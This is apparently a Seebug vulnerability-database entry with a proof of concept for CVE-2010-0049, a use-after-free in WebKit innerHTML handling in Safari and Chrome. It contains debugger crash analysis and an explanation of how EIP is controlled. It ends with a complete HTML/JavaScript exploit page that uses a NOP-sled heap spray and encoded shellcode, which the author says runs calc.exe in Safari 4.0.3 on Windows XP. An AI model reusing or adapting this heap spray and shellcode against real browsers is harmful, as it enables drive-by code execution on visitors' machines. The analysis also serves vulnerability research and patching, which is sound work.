Lucene search

K
seebugRootSSV:19316
HistoryMar 22, 2010 - 12:00 a.m.

webkit innerHTML UAF PoC ( CVE-2010-0049)

2010-03-2200:00:00
Root
www.seebug.org
24

0.955 High

EPSS

Percentile

99.2%

No description provided by source.


                                                POC of a safari vuln

use apple safari to open the html file (http://www.team509.com/s6.html) (I used
4.0.3(531.9.1) on windows xp sp3)  safari will execute calc.exe (DEP disable).

And on windows, we use chrome(2.0.172.39) to analysis it (because  on windows safari has not symbols),the crash will like this:

2:021> g
(1138.15e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00b000c8 ebx=00b00350 ecx=00affb78 edx=00000004 esi=00b00350 edi=00ccf568
eip=00b18d70 esp=00ccf448 ebp=00ccf4e4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
00b18d70 b0df            mov     al,0DFh
2:021> kv
ChildEBP RetAddr  Args to Child             
WARNING: Frame IP not in any known module. Following frames may be wrong.
00ccf444 01f50326 00ccf568 00b00350 01f50571 0xb18d70
00ccf450 01f50571 00ccf568 00b00350 00b001a4 chrome_1c30000!WebCore::InlineTextBox::isLineBreak+0xc (FPO: [0,0,0]) (CONV: thiscall) [c:slavechrome-official-2uildsrc hird_partywebkitwebcore enderinginlinetextbox.cpp @ 228]
00ccf4e4 01f9283b 00ccf504 00000008 00000008 chrome_1c30000!


The error is here:

eax=00b00250 ebx=00000000 ecx=00b0010c edx=00ac9f0c esi=00b00250 edi=00b0010c
eip=01f0335a esp=00ccf780 ebp=00ccf7bc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
chrome_1c30000!WebCore::InlineBox::InlineBox+0xb:
01f0335a 894804          mov     dword ptr [eax+4],ecx ds:0023:00b00254=00affb78
2:021> dd 00affb78
00affb78  00b000c8 00b18be8 00b2b898 00000000
00affb88  00000000 00000000 00201411 00000000
00affb98  00000000 00ac9d48 00000000 00b00350
00affba8  ffffffff ffffffff 00000000 00000000
00affbb8  00000080 0243e7a0 00b23f60 00b23ed8
00affbc8  00affa68 00affd54 00000000 00e00815
00affbd8  00000000 00000000 00000000 00000000
00affbe8  00000028 000003d2 00000000 00000000
2:021> dd 00b000c8
00b000c8  00b00084 00b2bf50 00b24f68 00000000
00b000d8  00000000 00000000 00201411 00000000
00b000e8  00000000 00b158f8 00000000 00000000
00b000f8  ffffffff ffffffff 00000000 00000000
00b00108  00000080 024456b0 00b2bf50 00b18d70
00b00118  00affea8 00000000 00000000 00201400
00b00128  00000000 00000000 00b299a0 00000000
00b00138  00000000 00000008 00000008 00000008

In source code, We know here need a object, but at here, it's freed address.


2:021> kv
ChildEBP RetAddr  Args to Child             
00ccf77c 01f3559b 01f3e013 00b0010c 00000000 chrome_1c30000!WebCore::InlineBox::InlineBox+0xb (FPO: [0,0,0]) (CONV: thiscall) [c:slavechrome-official-2uildsrc hird_partywebkitwebcore enderinginlinebox.h @ 64]
00ccf780 01f3e013 00b0010c 00000000 01f9432e chrome_1c30000!WebCore::InlineTextBox::InlineTextBox+0x7 (FPO: [0,0,0]) (CONV: thiscall) [c:slavechrome-official-2uildsrc hird_partywebkitwebcore enderinginlinetextbox.h @ 47]
00ccf78c 01f9432e 00000000 00b00150 01f94547 chrome_1c30000!WebCore::RenderText::createTextBox+0x25 (FPO: [0,0,0]) (CONV: thiscall) [c:slavechrome-official-2uildsrc hird_partywebkitwebcore endering endertext.cpp @ 983]


in source code, createTextBox func is like this:

   
    InlineTextBox* RenderText::createTextBox()
    {
        return new (renderArena()) InlineTextBox(this);
    }

pass "this" to InlineTextBox::InlineTextBox,but in our case, it's freed already.
 
in the html, we can know it's because:
"133333333" and "" two lines will trig InlineTextBox::isLineBreak,

but here:

e=document.getElementsByTagName("NOBR")[0];
e.innerHTML='1';

we know it will delete NOBR's attribute, so made the bug.

How to exploit?

First , change the script:


e=document.getElementsByTagName("NOBR")[0];
e.innerHTML='';

and now you can see the eip=1,

Then change the  "11111", to a long string "1111111111111111111111111",
you can see the eip's value will change to "1111111111111111111111"'s length,

so you can control the eip,


why, because "dir="rtl" " will define the bidi object, and object+4c is the value of

string length.


You can set a breakpoint to chrome_1c30000!WebCore::BidiCharacterRun::BidiCharacterRun to
verify it. But the string 's length must in 0-0xffff, so this way is not good.

I waste sometime to write the  POC(tested safari 4.0.3 on windows xp ), this POC is very interesting, When you run it on a XP with enabled DEP, you can find the soft will crash at here:

eax=7ff18cb0 ebx=7ff1908c ecx=7ff187e8 edx=7fd9b4b0 esi=7ff1908c edi=7ff1908c
eip=7fd9b4b0 esp=0012eafc ebp=0012eb94 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
7fd9b4b0 0000            add     byte ptr [eax],al          ds:0023:7ff18cb0=48

0:000> dd 7fd9b4b0
7fd9b4b0  00000000 0000002d 00000001 70e0ffd1
7fd9b4c0  7ff130f2 00000000 7fef44e0 00000000
7fd9b4d0  00000000 0000002d 0000002d 00000000
0:000> u eip
7fd9b4b0 0000            add     byte ptr [eax],al
7fd9b4b2 0000            add     byte ptr [eax],al
7fd9b4b4 2d00000001      sub     eax,offset CoreGraphics!CGImageSourceGetTypeWithURL+0x2a6d0 (01000000)
7fd9b4b9 0000            add     byte ptr [eax],al
7fd9b4bb 00d1            add     cl,dl
7fd9b4bd ffe0            jmp     eax

0:000> dd eax-1000000
7ef18cb0  90909090 90909090 90909090 90909090
7ef18cc0  90909090 90909090 90909090 90909090
7ef18cd0  90909090 90909090 90909090 90909090
7ef18ce0  90909090 90909090 90909090 90909090
7ef18cf0  90909090 90909090 90909090 90909090
7ef18d00  90909090 90909090 90909090 90909090
7ef18d10  90909090 90909090 90909090 90909090
7ef18d20  90909090 90909090 90909090 90909090

7fd9b4b0  is a ustring object's address, "0000002d" is ustring's length, "00000001" is reference count, and "70e0ffd1" is the string's hash, so I made a ustring , let its length=2d ("2d00000001 "  sub     eax,1000000)and hash include "ffe0"(jmp eax), then I use heap spray to exp it.


=========================


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">

<HTML lang="en"> 
  <HEAD>
 <script type="text/javascript">//<![CDATA[
function fuzz_load(){
spray2();
e=document.getElementsByTagName("FORM")[0];
e.previousSibling.dir="rtl";
//e.previousSibling.style="font-size:111px;";
setTimeout('fuzz_timer_0();',1);
}
function spray2(){
var shellcode ="\uc931\ue983\ud9dd\ud9ee\u2474\u5bf4\u7381\u6f13\ub102\u830e\ufceb\uf4e2\uea93\u0ef5\u026f\u4b3a\u8953\u0bcd\u0317\u855e\u1a20\u513a\u034f\u475a\u36e4\u0f3a\u3381\u9771\u86c3\u7a71\uc368\u037b\uc06e\ufa5a\u5654\u0a95\ue71a\u513a\u034b\u685a\u0ee4\u85fa\u1e30\ue5b0\u1ee4\u0f3a\u8b84\u2aed\uc16b\uce80\u890b\u3ef1\uc2ea\u02c9\u42e4\u85bd\u1e1f\u851c\u0a07\u075a\u82e4\u0e01\u026f\u663a\u5d53\uf880\u540f\uf638\uc2ec\u5eca\u7c07\uec69\u6a1c\uf029\u0ce5\uf1e6\u6188\u62d0\u2c0c\u76d4\u020a\u0eb1" ;

var spray = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
do {
   spray += spray;
} while(spray.length < 0xc0000);
memory = new Array();
for(i = 0; i < 50; i++)
   memory[i] = spray + shellcode;

}
function calc(){
var s0 ="\uc931\ue983\ud9dd\ud9ee\u2474\u5bf4\u7381\u6f13\ub102\u830e\ufceb\uf4e2\uea93\u0ef5\u026f\u4b3a\u8953\u0bcd\u0317\u855e\u1a20\u513a\u034f\u475a\u36e4\u0f3a\u3381\u9771\u86c3\u7a71\uc368\u037b\uc06e\ufa5a\u5654\u0a95\ue71a\u513a\u034b\u685a\u0ee4\u85fa\u1e30\ue5b0\u1ee4\u0f3a\u8b84\u2aed\uc16b\uce80\u890b\u3ef1\uc2ea\u02c9\u42e4\u85bd\u1e1f\u851c\u0a07\u075a\u82e4\u0e01\u026f\u663a\u5d53\uf880\u540f\uf638\uc2ec\u5eca\u7c07\uec69\u6a1c\uf029\u0ce5\uf1e6\u6188\u62d0\u2c0c\u76d4\u020a\u0eb1" ;


var addr1= unescape("%u9090%u9090");
var addr2= "\uc5c6\uc7c9";

var addr3="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051";



var addr4="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051";
var addr5="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051";
var addr6="\u543d\u4044\u3a7a\u4361\u5977\u696c\u2566\u4151\u5371\u275e\u4c48\u5252\u5b38\u4c44\u742d\u5827\u6a7a\u6644\u2647\u4e4a\u6565\u6825\u332e\u232d\u7456\u406d\u6630\u6841\u524c\u2955\u242b\u3c21\u4628\u3e50\u687d\u7e58\u313d\u6653\u3e2c\u3468\u2d42\u464a\u7361\u5430\u3051";

}
function fuzz_timer_0(){

e=document.getElementsByTagName("NOBR")[0];

e.innerHTML='';

calc();

document.lastChild.normalize();

}
//]]>
</script> 
	
	<code>1111
		<AREA>13333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
          <FORM >
            <NOBR /><BIG />
          </FORM>
		  </AREA>

	
	</code>	
      </A>
  </HEAD>  
  <BODY dir="rtl" onload="fuzz_load();">
  </BODY>  
</HTML>